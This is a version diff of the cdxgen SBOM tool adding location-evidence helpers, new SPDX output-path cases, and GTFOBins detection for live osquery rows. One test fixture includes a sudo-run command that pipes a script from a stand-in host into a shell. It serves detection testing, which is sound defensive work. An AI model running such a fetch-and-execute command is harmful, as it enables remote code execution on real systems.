@cyclonedx/cdxgen 12.3.2 → 12.4.0

package/lib/helpers/evidenceUtils.js

@@ -0,0 +1,58 @@
+export function createOccurrenceEvidence(location, details = {}) {
+  const normalizedLocation = String(location || "").trim();
+  if (!normalizedLocation) {
+    return undefined;
+  }
+  const occurrence = {
+    location: normalizedLocation,
+  };
+  for (const [key, value] of Object.entries(details || {})) {
+    if (value !== undefined && value !== null && value !== "") {
+      occurrence[key] = value;
+    }
+  }
+  return occurrence;
+}
+
+export function parseOccurrenceEvidenceLocation(location, details = {}) {
+  const normalizedLocation = String(location || "").trim();
+  if (!normalizedLocation) {
+    return undefined;
+  }
+  const hashMatch = normalizedLocation.match(/^(.*)#(\d+)$/);
+  if (hashMatch) {
+    return createOccurrenceEvidence(hashMatch[1], {
+      ...details,
+      line: Number(hashMatch[2]),
+    });
+  }
+  const lineOffsetMatch = normalizedLocation.match(/^(.*):(\d+):(\d+)$/);
+  if (lineOffsetMatch) {
+    return createOccurrenceEvidence(lineOffsetMatch[1], {
+      ...details,
+      line: Number(lineOffsetMatch[2]),
+      offset: Number(lineOffsetMatch[3]),
+    });
+  }
+  const lineMatch = normalizedLocation.match(/^(.*):(\d+)$/);
+  if (lineMatch) {
+    return createOccurrenceEvidence(lineMatch[1], {
+      ...details,
+      line: Number(lineMatch[2]),
+    });
+  }
+  return createOccurrenceEvidence(normalizedLocation, details);
+}
+
+export function formatOccurrenceEvidence(occurrence) {
+  if (!occurrence?.location) {
+    return "";
+  }
+  if (typeof occurrence.line === "number") {
+    if (typeof occurrence.offset === "number") {
+      return `${occurrence.location}:${occurrence.line}:${occurrence.offset}`;
+    }
+    return `${occurrence.location}#${occurrence.line}`;
+  }
+  return occurrence.location;
+}

package/lib/helpers/evidenceUtils.poku.js

@@ -0,0 +1,54 @@
+import { assert, describe, it } from "poku";
+
+import {
+  createOccurrenceEvidence,
+  formatOccurrenceEvidence,
+  parseOccurrenceEvidenceLocation,
+} from "./evidenceUtils.js";
+
+describe("evidence utils", () => {
+  it("creates occurrence evidence with structured line details", () => {
+    assert.deepStrictEqual(
+      createOccurrenceEvidence("src/index.js", {
+        line: 14,
+        offset: 3,
+        symbol: "node:crypto.createHash",
+      }),
+      {
+        location: "src/index.js",
+        line: 14,
+        offset: 3,
+        symbol: "node:crypto.createHash",
+      },
+    );
+  });
+
+  it("parses hash-style line locations", () => {
+    assert.deepStrictEqual(parseOccurrenceEvidenceLocation("src/index.js#27"), {
+      location: "src/index.js",
+      line: 27,
+    });
+  });
+
+  it("parses colon-style line and offset locations", () => {
+    assert.deepStrictEqual(
+      parseOccurrenceEvidenceLocation("src/index.js:29:7"),
+      {
+        location: "src/index.js",
+        line: 29,
+        offset: 7,
+      },
+    );
+  });
+
+  it("formats structured occurrence evidence for display", () => {
+    assert.strictEqual(
+      formatOccurrenceEvidence({
+        location: "src/index.js",
+        line: 12,
+        offset: 1,
+      }),
+      "src/index.js:12:1",
+    );
+  });
+});

package/lib/helpers/exportUtils.js

@@ -49,9 +49,18 @@ export function deriveSpdxOutputPath(outputPath) {
   if (outputPath.endsWith(".spdx.json")) {
     return outputPath;
   }
+  if (outputPath.endsWith(".cdx.bin")) {
+    return outputPath.replace(/\.cdx\.bin$/u, ".spdx.json");
+  }
   if (outputPath.endsWith(".cdx.json")) {
     return outputPath.replace(/\.cdx\.json$/u, ".spdx.json");
   }
+  if (outputPath.endsWith(".cdx")) {
+    return outputPath.replace(/\.cdx$/u, ".spdx.json");
+  }
+  if (outputPath.endsWith(".proto")) {
+    return outputPath.replace(/\.proto$/u, ".spdx.json");
+  }
   if (outputPath.endsWith(".json")) {
     return outputPath.replace(/\.json$/u, ".spdx.json");
   }

package/lib/helpers/gtfobins.js

@@ -1,11 +1,25 @@
 import { readFileSync } from "node:fs";
-import { basename, join } from "node:path";
+import { basename } from "node:path";
+import { fileURLToPath } from "node:url";
 
-import { dirNameStr, safeExistsSync } from "./utils.js";
-
-const GTFOBINS_INDEX_FILE = join(dirNameStr, "data", "gtfobins-index.json");
+const GTFOBINS_INDEX_FILE = fileURLToPath(
+  new URL("../../data/gtfobins-index.json", import.meta.url),
+);
 const GTFOBINS_REFERENCE_PREFIX = "https://gtfobins.github.io/gtfobins/";
 const PRIVILEGED_CONTEXTS = ["sudo", "suid", "capabilities"];
+const MATCH_FIELDS = [
+  "name",
+  "path",
+  "cmdline",
+  "parent_cmdline",
+  "action",
+  "program",
+  "executable",
+  "description",
+];
+const UNIX_PATH_PATTERN = /(?:^|[\s'"`=;|&(])((?:\.{0,2}\/|\/)[^\s'"`|;&()]+)/g;
+const STANDALONE_COMMAND_PATTERN =
+  /(?:^|[\s;|&(])([a-z_][a-z0-9+._-]{1,})(?=$|[\s'"`|;&()])/gi;
 const CONTAINER_ESCAPE_HELPERS = new Set([
   "chroot",
   "ctr",
@@ -29,9 +43,6 @@ const VERSIONED_ALIASES = [
 const GTFOBINS_INDEX = loadGtfoBinsIndex();
 
 function loadGtfoBinsIndex() {
-  if (!safeExistsSync(GTFOBINS_INDEX_FILE)) {
-    return { entries: {}, source: GTFOBINS_REFERENCE_PREFIX, sourceRef: "" };
-  }
   try {
     return JSON.parse(readFileSync(GTFOBINS_INDEX_FILE, "utf8"));
   } catch {
@@ -39,6 +50,32 @@ function loadGtfoBinsIndex() {
   }
 }
 
+function uniqueSortedStrings(values) {
+  return [...new Set((values || []).filter(Boolean))].sort();
+}
+
+function collectValueCandidates(value) {
+  if (!value || typeof value !== "string") {
+    return [];
+  }
+  const candidates = new Set();
+  const trimmedValue = value.trim();
+  if (trimmedValue) {
+    candidates.add(trimmedValue);
+  }
+  for (const match of value.matchAll(UNIX_PATH_PATTERN)) {
+    if (match[1]) {
+      candidates.add(match[1]);
+    }
+  }
+  for (const match of value.matchAll(STANDALONE_COMMAND_PATTERN)) {
+    if (match[1]) {
+      candidates.add(match[1]);
+    }
+  }
+  return Array.from(candidates);
+}
+
 function resolveCandidateName(candidate) {
   if (!candidate || typeof candidate !== "string") {
     return undefined;
@@ -123,7 +160,7 @@ export function getGtfoBinsMetadata(name, linkedName) {
       functions: entry.functions,
       matchSource: directMatch.matchSource,
       mitreTechniques: entry.mitreTechniques,
-      privilegedContexts: entry.contexts.filter((context) =>
+      privilegedContexts: entry?.contexts?.filter((context) =>
         PRIVILEGED_CONTEXTS.includes(context),
       ),
       reference: `${GTFOBINS_REFERENCE_PREFIX}${encodeURIComponent(directMatch.canonicalName)}/`,
@@ -187,3 +224,100 @@ export function createGtfoBinsProperties(name, linkedName) {
   }
   return properties;
 }
+
+/**
+ * Resolve GTFOBins properties for a live Linux osquery row.
+ *
+ * @param {string} queryCategory Osquery query category
+ * @param {object} row Osquery row
+ * @returns {Array<object>} CycloneDX custom properties
+ */
+export function createGtfoBinsPropertiesFromRow(queryCategory, row) {
+  const matches = new Map();
+  for (const field of MATCH_FIELDS) {
+    const fieldValue = row?.[field];
+    if (!fieldValue) {
+      continue;
+    }
+    for (const candidate of collectValueCandidates(String(fieldValue))) {
+      const metadata = getGtfoBinsMetadata(candidate);
+      if (!metadata) {
+        continue;
+      }
+      const existing = matches.get(metadata.canonicalName) || {
+        fields: new Set(),
+        metadata,
+      };
+      existing.fields.add(field);
+      matches.set(metadata.canonicalName, existing);
+    }
+  }
+  if (!matches.size) {
+    return [];
+  }
+  const names = uniqueSortedStrings(Array.from(matches.keys()));
+  const matchFields = uniqueSortedStrings(
+    Array.from(matches.values()).flatMap((match) => Array.from(match.fields)),
+  );
+  const functions = uniqueSortedStrings(
+    Array.from(matches.values()).flatMap((match) => match.metadata.functions),
+  );
+  const contexts = uniqueSortedStrings(
+    Array.from(matches.values()).flatMap((match) => match.metadata.contexts),
+  );
+  const privilegedContexts = uniqueSortedStrings(
+    Array.from(matches.values()).flatMap(
+      (match) => match.metadata.privilegedContexts,
+    ),
+  );
+  const references = uniqueSortedStrings(
+    Array.from(matches.values()).map((match) => match.metadata.reference),
+  );
+  const riskTags = uniqueSortedStrings(
+    Array.from(matches.values()).flatMap((match) => match.metadata.riskTags),
+  );
+  const mitreTechniques = uniqueSortedStrings(
+    Array.from(matches.values()).flatMap(
+      (match) => match.metadata.mitreTechniques,
+    ),
+  );
+  const properties = [
+    { name: "cdx:gtfobins:matched", value: "true" },
+    { name: "cdx:gtfobins:names", value: names.join(",") },
+    { name: "cdx:gtfobins:matchFields", value: matchFields.join(",") },
+    { name: "cdx:gtfobins:queryCategory", value: queryCategory },
+    { name: "cdx:gtfobins:reference", value: references.join(",") },
+    { name: "cdx:gtfobins:sourceRef", value: GTFOBINS_INDEX.sourceRef || "" },
+  ];
+  if (functions.length) {
+    properties.push({
+      name: "cdx:gtfobins:functions",
+      value: functions.join(","),
+    });
+  }
+  if (contexts.length) {
+    properties.push({
+      name: "cdx:gtfobins:contexts",
+      value: contexts.join(","),
+    });
+  }
+  if (privilegedContexts.length) {
+    properties.push({
+      name: "cdx:gtfobins:privilegedContexts",
+      value: privilegedContexts.join(","),
+    });
+  }
+  if (riskTags.length) {
+    properties.push({
+      name: "cdx:gtfobins:riskTags",
+      value: riskTags.join(","),
+    });
+  }
+  if (mitreTechniques.length) {
+    properties.push({
+      name: "cdx:gtfobins:mitreTechniques",
+      value: mitreTechniques.join(","),
+    });
+  }
+  return properties;
+}

package/lib/helpers/gtfobins.poku.js

@@ -2,7 +2,11 @@ import { strict as assert } from "node:assert";
 
 import { describe, it } from "poku";
 
-import { createGtfoBinsProperties, getGtfoBinsMetadata } from "./gtfobins.js";
+import {
+  createGtfoBinsProperties,
+  createGtfoBinsPropertiesFromRow,
+  getGtfoBinsMetadata,
+} from "./gtfobins.js";
 
 describe("gtfobins helpers", () => {
   it("returns metadata for exact GTFOBins matches", () => {
@@ -46,4 +50,23 @@ describe("gtfobins helpers", () => {
       propertyMap["cdx:gtfobins:reference"].endsWith("/gtfobins/docker/"),
     );
   });
+
+  it("derives GTFOBins properties from live Linux osquery rows", () => {
+    const properties = createGtfoBinsPropertiesFromRow("sudo_executions", {
+      path: "/usr/bin/bash",
+      cmdline: "bash -c 'curl https://example.invalid/p.sh | sh'",
+      parent_cmdline: "sudo bash -c payload",
+    });
+    const propertyMap = Object.fromEntries(
+      properties.map((property) => [property.name, property.value]),
+    );
+    assert.strictEqual(propertyMap["cdx:gtfobins:matched"], "true");
+    assert.ok(propertyMap["cdx:gtfobins:names"].includes("bash"));
+    assert.ok(propertyMap["cdx:gtfobins:functions"].includes("shell"));
+    assert.ok(
+      propertyMap["cdx:gtfobins:queryCategory"].includes("sudo_executions"),
+    );
+    assert.ok(propertyMap["cdx:gtfobins:matchFields"].includes("path"));
+    assert.ok(propertyMap["cdx:gtfobins:matchFields"].includes("cmdline"));
+  });
 });